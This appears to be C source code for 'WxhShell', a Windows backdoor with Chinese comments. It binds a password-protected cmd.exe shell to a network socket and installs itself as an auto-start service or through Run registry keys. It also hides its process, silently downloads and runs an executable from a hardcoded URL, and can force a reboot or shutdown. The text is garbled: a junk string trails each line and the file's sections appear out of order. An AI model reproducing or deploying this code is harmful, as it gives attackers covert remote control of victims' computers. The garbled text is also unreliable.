    if(Boot(SHUTDOWN)) l7.W2mg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &#AK#`&)0i  
    else { K2W$I H:.  
    closesocket(wsh); B\/"$"  
    ExitThread(0); fnZaIV=H  
    } A7/ R5p  
    break; af:wg]g  
    } uSAb  
  // 获取shell _n[4+S*v(  
  case 's': { Ws+Zmpk%  
    CmdShell(wsh); c]pO'6]  
    closesocket(wsh); "8bxb  
    ExitThread(0); 4. &t  
    break; -:5]*zVp+-  
  } q ;@:,^  
  // 退出 \Oku<5  
  case 'x': { :%#(<@{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @.4e^Km  
    CloseIt(wsh); a ]PS`  
    break; UF g N@  
    } ?pT\Ft V  
  // 离开 64#6L.Q-c  
  case 'q': { [n53 eC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g{`rWKj  
    closesocket(wsh); v{R:F  
    WSACleanup(); \"E-z.wW=  
    exit(1); D]I]I!2c  
    break; \2rCT~x  
        } 7R$]BY=  
  } '' @upZBJ  
  } IT`r&;5  
n ..9F$a  
  // 提示信息 c'9-SY1'~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >3S^9{d  
} kUl:Yj=&  
  } 4_`ss+gk  
hBSci|*f  
  return; nUZ+N)*  
} V9v80e {n4  
zUw9  
// shell模块句柄 qR W WG&  
int CmdShell(SOCKET sock) [WOLUb  
{ ~%6GF57gC  
STARTUPINFO si; l!B)1  
ZeroMemory(&si,sizeof(si)); "}"Bvp^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7p}.r J54  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (_}w4N#  
PROCESS_INFORMATION ProcessInfo; i;1EXM  
char cmdline[]="cmd"; ar0y8>]3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); erG;M!9\  
  return 0; /Z:\=0`  
} 1U"Fk3  
0NY2Kw;  
// 自身启动模式 [Z3B~c  
int StartFromService(void) p^G:h6|+|  
{ =YPvh]][  
typedef struct "z ` &xB  
{ 0Ey*ci^ue  
  DWORD ExitStatus; p;S<WJv k  
  DWORD PebBaseAddress; Rt$Q *`u   
  DWORD AffinityMask; Td&w  
  DWORD BasePriority; \ 9T;-]  
  ULONG UniqueProcessId; f IUz%YFn  
  ULONG InheritedFromUniqueProcessId; \W<r`t4v  
}   PROCESS_BASIC_INFORMATION; :*wnO;eN  
8ODrW!o  
PROCNTQSIP NtQueryInformationProcess; P:z5/??2S  
I("J$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^Zh YW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :/HfMJ  
_rQM[{Bkg  
  HANDLE             hProcess; =sG9]a<I  
  PROCESS_BASIC_INFORMATION pbi; 8oI)q4V  
q]%c 6{w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s=lkK / [  
  if(NULL == hInst ) return 0; LTsG  
~]71(u2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ni#!Gxw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X<4h"W6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4Fr0/="H  
\lVX~r4  
  if (!NtQueryInformationProcess) return 0; {1^9*  
]KMOLe6(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;;E "+.  
  if(!hProcess) return 0; 56Q9RU(M  
m/"\+Hv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7Zl- |  
@P:  
  CloseHandle(hProcess); ,c:Fa)-  
W`fE@*k0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CqVh9M.ah  
if(hProcess==NULL) return 0; RHo|&.B;+  
|qS<{WZ!h  
HMODULE hMod; _DChNX   
char procName[255]; RltG/ZI  
unsigned long cbNeeded; ]p(jL7  
v_*E:E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \*#9Ry^f  
dA<PQKm  
  CloseHandle(hProcess); CtwMMZXX3  
hS4Ljyeg  
if(strstr(procName,"services")) return 1; // 以服务启动 8H_3.MK  
D/_=rAl1  
  return 0; // 注册表启动 OiAi{ 71  
} yi3@-  
WY%LeC!t  
// 主模块 X]q,A5g  
int StartWxhshell(LPSTR lpCmdLine) =4 &/Pr  
{ x\j6=|  
  SOCKET wsl; I(E1ym  
BOOL val=TRUE; iulM8"P  
  int port=0; SGMLs'D   
  struct sockaddr_in door; O&93QN0  
S86%o,Saq\  
  if(wscfg.ws_autoins) Install(); IEV3(qzt  
\HF h?3-g  
port=atoi(lpCmdLine); e!}R1  
( q^umw  
if(port<=0) port=wscfg.ws_port; >lqWni  
|MvCEp  
  WSADATA data; [#H$@g|CT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v4sc  
a3]'%kKp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vyT$IdV2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y;>0)eP  
  door.sin_family = AF_INET; 5:SfPAx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y[x9c0  
  door.sin_port = htons(port); P-ma~g>I  
VA_\Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MId\ dFu  
closesocket(wsl); XiI@Px?FL  
return 1; < 2w@5qL  
} Bsw5A7,-  
D!TL~3d 1  
  if(listen(wsl,2) == INVALID_SOCKET) { ]>K%,}PS  
closesocket(wsl); 39?iX'*p  
return 1; ^<xpp.eY  
} "2(4?P  
  Wxhshell(wsl); Ps0'WRJnx  
  WSACleanup(); 6R5) &L  
(`gqLPx[  
return 0; z (rQ6  
nGGYKI  
} ~^=QBwDW8N  
ihKnZcI$i  
// 以NT服务方式启动 gPY2Bnw;l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d$g-u8  
{ ro7\}O:I  
DWORD   status = 0; GEy^*, d  
  DWORD   specificError = 0xfffffff; ZVEq{x1Zc  
dkJ+*L5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fsv%=E{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E>xdJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z^S=ji U++  
  serviceStatus.dwWin32ExitCode     = 0; WcAX/<Y>  
  serviceStatus.dwServiceSpecificExitCode = 0; k 61Ot3  
  serviceStatus.dwCheckPoint       = 0; LnvC{#TFO  
  serviceStatus.dwWaitHint       = 0; u\-xlp?"o  
jR\&2;T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gO4` e(W  
  if (hServiceStatusHandle==0) return; &H;0N"Fn  
828E^Q"<  
status = GetLastError(); UyBI;k^]  
  if (status!=NO_ERROR) Z ) qc-~S  
{ XKLkJZN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y^=\w?d  
    serviceStatus.dwCheckPoint       = 0; " GkBX  
    serviceStatus.dwWaitHint       = 0; )U e9:e  
    serviceStatus.dwWin32ExitCode     = status; "zL<:TQ"  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0Jz'9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2ksX6M3kY  
    return; * Ibl+  
  } 0RN]_z$;H  
Wcl@ H @  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >7B6iR6N  
  serviceStatus.dwCheckPoint       = 0; G+[hE|L~y  
  serviceStatus.dwWaitHint       = 0; w_q{C>- cR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L;H(I@p(e  
} 1om:SHw  
[>Z~& cm  
// 处理NT服务事件,比如:启动、停止 _dVzvk`_R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TB\#frG  
{ xrxORtJ<  
switch(fdwControl) \I1+J9Gl  
{ yNi/JM  
case SERVICE_CONTROL_STOP: eaCv8zdX  
  serviceStatus.dwWin32ExitCode = 0; AK%`EsI^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9lNO ~8  
  serviceStatus.dwCheckPoint   = 0; CWdA8)n.  
  serviceStatus.dwWaitHint     = 0; d4t %/Uh  
  { ='a[(C&Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0#0[E,  
  } ({i}EC7{  
  return; o( Yfnnuy  
case SERVICE_CONTROL_PAUSE: /]=Ih  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BZP}0  
  break; 4*< x0  
case SERVICE_CONTROL_CONTINUE: vx62u29m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .;)7)%  
  break; '`&gSL.1a@  
case SERVICE_CONTROL_INTERROGATE: Md mS  
  break; "bZ%1)+  
}; fmrd 7*MW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o8;>E>;  
} N]udZhkn  
| s%--W  
// 标准应用程序主函数 +XCLdf}dC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _[u&}i  
{ :6~Nq/hZB  
8Y?zxmwn]  
// 获取操作系统版本 $_IvzbOh  
OsIsNt=GetOsVer(); 8Yc'4v#}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PKFjM~J  
jL o(Uf  
  // 从命令行安装 FFX-kS  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^=`7]E[p  
9"hH2jc  
  // 下载执行文件 mrWPTCD{  
if(wscfg.ws_downexe) { s)C5u;3!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9oBK(Sf@^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2-=Ov@y2k!  
} #0>??]&r  
EZnXS"z  
if(!OsIsNt) { p_%dH  
// 如果时win9x,隐藏进程并且设置为注册表启动 )N$T&  
HideProc(); S v3O${B|  
StartWxhshell(lpCmdLine); @9#l3  
} *g7BR`Bt]z  
else S;@nPzhc  
  if(StartFromService()) @'n07 5)h  
  // 以服务方式启动 1%Hc/N-  
  StartServiceCtrlDispatcher(DispatchTable); q[?xf3  
else @cYb37)q=  
  // 普通方式启动 'kBg3E$y  
  StartWxhshell(lpCmdLine); MX Qua:&HW  
N)yCGo  
return 0; ]q^6az(Ud  
} zI-]K,!  
k7,   
(4]M7b[S$  
PU8>.9x  
=========================================== RvQa&r5l  
{:=sCY!  
P=3mLz-  
}jE [vVlRw  
7b8+"5~  
!ZxK+Xqx[  
"  kg &R  
T'6MAxEZUq  
#include <stdio.h> \-?0ab3Z  
#include <string.h> &|9K~#LVS  
#include <windows.h> 2WO5Af%  
#include <winsock2.h> L2\<iJA}c  
#include <winsvc.h> LNNwy:_ !  
#include <urlmon.h> {,NF'x4$  
HQkK8'\LP  
#pragma comment (lib, "Ws2_32.lib") lcVZ 32MQ  
#pragma comment (lib, "urlmon.lib") ^sVr#T  
n2A ; `=  
#define MAX_USER   100 // 最大客户端连接数 B,S~Idr}  
#define BUF_SOCK   200 // sock buffer *Jwx,wF}4  
#define KEY_BUFF   255 // 输入 buffer ;_X2E~i[  
,,G[360  
#define REBOOT     0   // 重启 =\`iC6xP}  
#define SHUTDOWN   1   // 关机 n }kn|To~  
]\Z8MxFD  
#define DEF_PORT   5000 // 监听端口 2A=q{7s  
[s{ B vn  
#define REG_LEN     16   // 注册表键长度 'MgYSP<  
#define SVC_LEN     80   // NT服务名长度 d/Sw.=vq  
zm!M'|~@7  
// 从dll定义API FG!2h&k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !8e;3W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h6b(FTC^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fc&djd`FuX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5,R4:y ?cK  
~^TH5n  
// wxhshell配置信息 6H1;Hl f  
struct WSCFG { {E[t(Ig  
  int ws_port;         // 监听端口 \Up~ "q>Kb  
  char ws_passstr[REG_LEN]; // 口令 d&* c3F  
  int ws_autoins;       // 安装标记, 1=yes 0=no t6uYFxE  
  char ws_regname[REG_LEN]; // 注册表键名 j1rR3)oP  
  char ws_svcname[REG_LEN]; // 服务名 "Zfm4Nx "  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IeZ9 "o h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &\=Tm~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -7KoR}Ck!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %M3L<2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -UM|u_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bvOnS0,y  
bcq&yL'D  
}; 7B<,nKd  
Lf)JO|o  
// default Wxhshell configuration jddhX]>I  
struct WSCFG wscfg={DEF_PORT, +%f6{&q$  
    "xuhuanlingzhe", "F =NDF  
    1, A`#?Bj   
    "Wxhshell", @eM$S5&n$  
    "Wxhshell", H:|.e)$i  
            "WxhShell Service", @j!(at4B  
    "Wrsky Windows CmdShell Service", +_L]d6  
    "Please Input Your Password: ", 'QQq0.  
  1, #M||t|9iu?  
  "http://www.wrsky.com/wxhshell.exe", 2F+"v?n=\  
  "Wxhshell.exe" ;mYZ@g%e  
    }; 1c{m rsB  
C1fd@6  
// 消息定义模块 U)xebU.!S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; otdRz<C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dk^jv +  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0hhxTOp  
char *msg_ws_ext="\n\rExit."; )Q62I\  
char *msg_ws_end="\n\rQuit."; tz8 fZ*n  
char *msg_ws_boot="\n\rReboot..."; gV-*z}`U  
char *msg_ws_poff="\n\rShutdown..."; qw$9i.Z  
char *msg_ws_down="\n\rSave to "; pSbtm74  
oNIYO*[  
char *msg_ws_err="\n\rErr!"; I(Qz%/Ox  
char *msg_ws_ok="\n\rOK!"; /* qx5$~  
-b iE  
char ExeFile[MAX_PATH]; =tbfBK+  
int nUser = 0; O\ _ro.  
HANDLE handles[MAX_USER]; R:+'"dBge  
int OsIsNt; 8h0CG]  
8 R%<~fq r  
SERVICE_STATUS       serviceStatus; qFK.ULgP`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *RxJ8.G  
1)^\R(l  
// 函数声明 2 F>Y{3&  
int Install(void); "{r8'qn  
int Uninstall(void); \I:27:iAL  
int DownloadFile(char *sURL, SOCKET wsh); h]h"-3  
int Boot(int flag); Y<|JhqOXK  
void HideProc(void); @I-,5F|r  
int GetOsVer(void); wgIm{;T[u  
int Wxhshell(SOCKET wsl); &9^4- 5]  
void TalkWithClient(void *cs); %VFoK-a  
int CmdShell(SOCKET sock); c+&Kq.~K  
int StartFromService(void); $K!Jm7O\  
int StartWxhshell(LPSTR lpCmdLine); }2@Z{5sh)  
-N% V5 TN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); faDS!E' +  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /6Q]f  
w$/lq~zU  
// 数据结构和表定义 g=[OH  
SERVICE_TABLE_ENTRY DispatchTable[] = I]` RvT  
{ pHmqwB~|  
{wscfg.ws_svcname, NTServiceMain}, ^7wqb'xg  
{NULL, NULL} 4P[MkMoC  
}; {=3A@/vM  
m=sEB8P  
// 自我安装  u&#>)h  
int Install(void) r) x  
{ u+Ix''Fn#%  
  char svExeFile[MAX_PATH]; ':fp|m)M  
  HKEY key; ,IyQmN y  
  strcpy(svExeFile,ExeFile); WI4<2u;  
". tW5O>  
// 如果是win9x系统,修改注册表设为自启动 7H)$NG<U$  
if(!OsIsNt) { . 2$J-<O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {o5|(^l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tO{{ci$-T  
  RegCloseKey(key); I4G0 !"T+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TL2E|@k1]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Rpgg :  
  RegCloseKey(key); .*x:  
  return 0; /Ne#{*z)hO  
    } {/]2~!  
  } ##6\~!P  
} {lWVH  
else { gMI%!Y  
vSR&>Q%X  
// 如果是NT以上系统,安装为系统服务 H P.=6bJWi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c'i5,\ #X  
if (schSCManager!=0) u-t=M]  
{ (M$0'BV0  
  SC_HANDLE schService = CreateService HpEd$+Mz  
  ( q13fmK(n-5  
  schSCManager, KMwV;r  
  wscfg.ws_svcname, 3_)I&RM  
  wscfg.ws_svcdisp, u9"yU:1keb  
  SERVICE_ALL_ACCESS, m "9f(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K khuPBd2  
  SERVICE_AUTO_START, K>DN6{hnV;  
  SERVICE_ERROR_NORMAL, qR'FbI  
  svExeFile, kw$ 7G1Q  
  NULL, ,!l_  
  NULL, kM506U<g  
  NULL, F,Q;sq  
  NULL, Qp:I[:Lr;  
  NULL 8TFQ%jv  
  ); )$:1e)d  
  if (schService!=0) Qb^G1#r@C  
  { t,7%| {  
  CloseServiceHandle(schService); [Kwj 7q`  
  CloseServiceHandle(schSCManager); A4tk</A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %Xd*2q4*  
  strcat(svExeFile,wscfg.ws_svcname); !d N[9}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RE;A 0E_3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0SL{J*S4[#  
  RegCloseKey(key); KQPu9f9  
  return 0; J 6KHc^,7  
    } 'GJB9i+a^  
  } 7.h{"xOx{  
  CloseServiceHandle(schSCManager); !kE5]<H\  
} xG/Q%A  
} yiZtG#6K{  
]W5*R07  
return 1; gyvrQ, u  
} 5.6tVr  
+yP!7]  
// 自我卸载 (t-hi8"  
int Uninstall(void) X+;[Gc}(W  
{ % Ln`c.C  
  HKEY key; q}P@}TE  
@)U.Dbm  
if(!OsIsNt) { j*DPW)RkKX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %y6Q3@  
  RegDeleteValue(key,wscfg.ws_regname); Pzso^^g  
  RegCloseKey(key); ~qgh w@Q~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *9j'@2!M  
  RegDeleteValue(key,wscfg.ws_regname); ;R*-cm  
  RegCloseKey(key); D;Qx9^.  
  return 0; .#yg=t1C  
  } i|^Q{3?o#  
} u<S`"MR:J  
} +Ryj82;59z  
else { y*iZ;Bv j  
zq};{~u(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,{0Y:/T'  
if (schSCManager!=0) Yqs=jTq`{  
{ :TQp,CEa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =*\.zr  
  if (schService!=0) *I]]Ogpq=  
  { P~\rP6 ;  
  if(DeleteService(schService)!=0) { eI1zRoIl-  
  CloseServiceHandle(schService); :'p)xw4K|  
  CloseServiceHandle(schSCManager); Y7t#)?  
  return 0; O)dnr8*  
  } ['mpxtG  
  CloseServiceHandle(schService); V+`kB3GV  
  } Clum m@z;#  
  CloseServiceHandle(schSCManager); Cf[tNq  
} xvTtA61Vp  
} v?`R8  
!PA:#]J  
return 1; J>_mDcPo  
} ^EUR#~b5iy  
/!H24[tnk1  
// 从指定url下载文件 *?m)VvR>|  
int DownloadFile(char *sURL, SOCKET wsh) u n v:sV#b  
{ [\ao#f0WR  
  HRESULT hr; wo`.sB&T  
char seps[]= "/"; .\XRkr'-  
char *token;  :xsZz$  
char *file; 5sY $  
char myURL[MAX_PATH]; )O[8 D  
char myFILE[MAX_PATH]; e)e(f"t6Q  
>fC&bab  
strcpy(myURL,sURL); Z[@ i/. I  
  token=strtok(myURL,seps); P#A,(Bke3  
  while(token!=NULL) s$#64"F  
  { d4b!  r  
    file=token; 0!\gK <,z  
  token=strtok(NULL,seps); [E9iuym  
  } JO|j?%6YY  
( >}1t!1  
GetCurrentDirectory(MAX_PATH,myFILE); o9xc$hX}  
strcat(myFILE, "\\"); q-z1ElrN7u  
strcat(myFILE, file); ,buX|  
  send(wsh,myFILE,strlen(myFILE),0); b~.$1oZ  
send(wsh,"...",3,0); F8w7N$/V",  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2? E;(]dQ  
  if(hr==S_OK) LW<Lg N"L-  
return 0; 08ZvRy(Je<  
else mP^B2"|q  
return 1; 8#QT[H 4F  
;2kQ)Bq"  
} u(Mbp$R' ?  
iF`_-t/k  
// 系统电源模块 NCk-[I?R  
int Boot(int flag) Ft>B% -;  
{ |Y"XxM9  
  HANDLE hToken; ?w/p 9j#  
  TOKEN_PRIVILEGES tkp;  hE:~~ox  
KGJSGvo+y  
  if(OsIsNt) { `ulQ C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'pA%lc)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T.#_v# oM  
    tkp.PrivilegeCount = 1; >9w^C1"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JlSqTfA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V_ 6K?~j  
if(flag==REBOOT) { ytj});,>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OXLB{|hH80  
  return 0; 0@_8JB ?E  
} z 4}"oQk:r  
else { Cx;it/8+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z*Ffdh>*:&  
  return 0; jO"/5 x26  
} .EhC\QpP  
  } }<G a e5  
  else { *c#DB{N  
if(flag==REBOOT) { b#7nt ?`7p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZvuY] =^3  
  return 0; (B\Kb4m  
} 5{-Hg[+9  
else { =F[M>o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,GWa3.&.d  
  return 0; 2\{/|\  
} _ (b4|hJ'  
} G$ zY&  
8+!G /p  
return 1;  e$  
} Fz8& Jn!  
{X, -T&  
// win9x进程隐藏模块 wPghgjF{  
void HideProc(void) >$}Mr%49  
{ SMvlEj^  
Il/`#b@h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <> =(BAw  
  if ( hKernel != NULL ) :V8oWMY  
  { xD7Y"%Pbx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >a@1y8B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i_L u  
    FreeLibrary(hKernel); -X EK[  
  } "=?JIQ  
/_<_X 7  
return; f:q2JgX  
} =[4C[s  
@ &c@  
// 获取操作系统版本 !OV+2suu1  
int GetOsVer(void) 2P57C;N8|  
{ }`whg8 fZ  
  OSVERSIONINFO winfo; a&)$s;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s/?(G L+Ae  
  GetVersionEx(&winfo); 0Q%I[f8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1b=\l/2  
  return 1; )$Fw<;4  
  else _58&^:/^  
  return 0; On4Vqbks  
} oz'jt} ?  
!H^R_GC  
// 客户端句柄模块 How:_ Hj  
int Wxhshell(SOCKET wsl) Ejf>QIB  
{ '@^<c#h]=  
  SOCKET wsh; .:['&; k  
  struct sockaddr_in client; -J!k|GK#MX  
  DWORD myID; =Oh/4TbW[  
7Il /+l(  
  while(nUser<MAX_USER) r-BqIoVT  
{ ^oHK.x#{  
  int nSize=sizeof(client); &)Wm rF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $>~4RXC  
  if(wsh==INVALID_SOCKET) return 1; b#e|#!Je  
#|xj*+)H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Izfj 9h ?  
if(handles[nUser]==0) %c c<>Hi  
  closesocket(wsh); #5kg3OO  
else \]/ 6>yT  
  nUser++; cMt , 80  
  } e3&.RrA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3Z)vJC9'  
& V/t0  
  return 0; wmv/ ?g  
} p)Q='  
EJrQ9"x&n  
// 关闭 socket u|8V7*)3  
void CloseIt(SOCKET wsh) NE$=R"<Gv  
{ $ "^yoL  
closesocket(wsh); My >{;n=}  
nUser--; _Ai\XS Am  
ExitThread(0); l3/?,xn  
} s2+s1%^Ll  
;lb@o,R :  
// 客户端请求句柄 (OK;*ZH+T@  
void TalkWithClient(void *cs) zTt6L6:u  
{ 4[]4KKO3Q2  
93N:?B9  
  SOCKET wsh=(SOCKET)cs; C@ z^{Z+  
  char pwd[SVC_LEN]; j.rJfbE|X  
  char cmd[KEY_BUFF]; g TP0:  
char chr[1]; a)8M'f_z  
int i,j; xBcE>^{1.  
j1,ir  
  while (nUser < MAX_USER) { E>SLR8!C v  
ygp NMq#?X  
if(wscfg.ws_passstr) { Yf(QU`w_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y;XEC;PXD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DbkKmv&  
  //ZeroMemory(pwd,KEY_BUFF); 6jtnH'E/  
      i=0; Ey;uaqt  
  while(i<SVC_LEN) { :>g*!hpb  
dAcy;-[[P  
  // 设置超时 #}!Ge  
  fd_set FdRead; vJfex,#lv  
  struct timeval TimeOut; Hi<5jl  
  FD_ZERO(&FdRead); =sW(2Im  
  FD_SET(wsh,&FdRead); #4*~ 4/  
  TimeOut.tv_sec=8; e[7n`ka '  
  TimeOut.tv_usec=0; #Hr>KQ5mJQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C_= WL(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !7-dqw%l  
7,2bR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %9A6c(L  
  pwd=chr[0]; I vQ]-A}N  
  if(chr[0]==0xd || chr[0]==0xa) { i7w>Nvj]  
  pwd=0; ,$96bF "#  
  break; 64>o3Hb2  
  } O?9&6x   
  i++; ]I#yS=;  
    } 4` gAluJ#  
>8nRP%r[5,  
  // 如果是非法用户,关闭 socket @4D$Xl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T0ebW w  
} ^U.8grA  
<o";?^0Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n%]1p36  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {`vF4@  
mRw &^7r  
while(1) { &AI/;zru  
>?q()>l  
  ZeroMemory(cmd,KEY_BUFF); ]N^a/&} *  
*;wPAQE  
      // 自动支持客户端 telnet标准   7 p(^I*|  
  j=0; &oTUj'$  
  while(j<KEY_BUFF) { $e7dE$eH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8-c1q*q)  
  cmd[j]=chr[0]; CCOd4  
  if(chr[0]==0xa || chr[0]==0xd) { %+U.zd$  
  cmd[j]=0; D}wM$B@S  
  break; |>(;gr/5(  
  } c@%:aiEl  
  j++; YT6<1-E#  
    } CfA^Xp@vc  
N*N@wJy:5  
  // 下载文件 +^ n\?!  
  if(strstr(cmd,"http://")) { ON|Bpt2Qp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WhsTKy&E  
  if(DownloadFile(cmd,wsh)) %:2<'s2Si  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6u`E{$  
  else s88lN=;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JB~79Lsdz  
  } {%ZD ^YSA  
  else { @sRUl ,M;Z  
#wL}4VN  
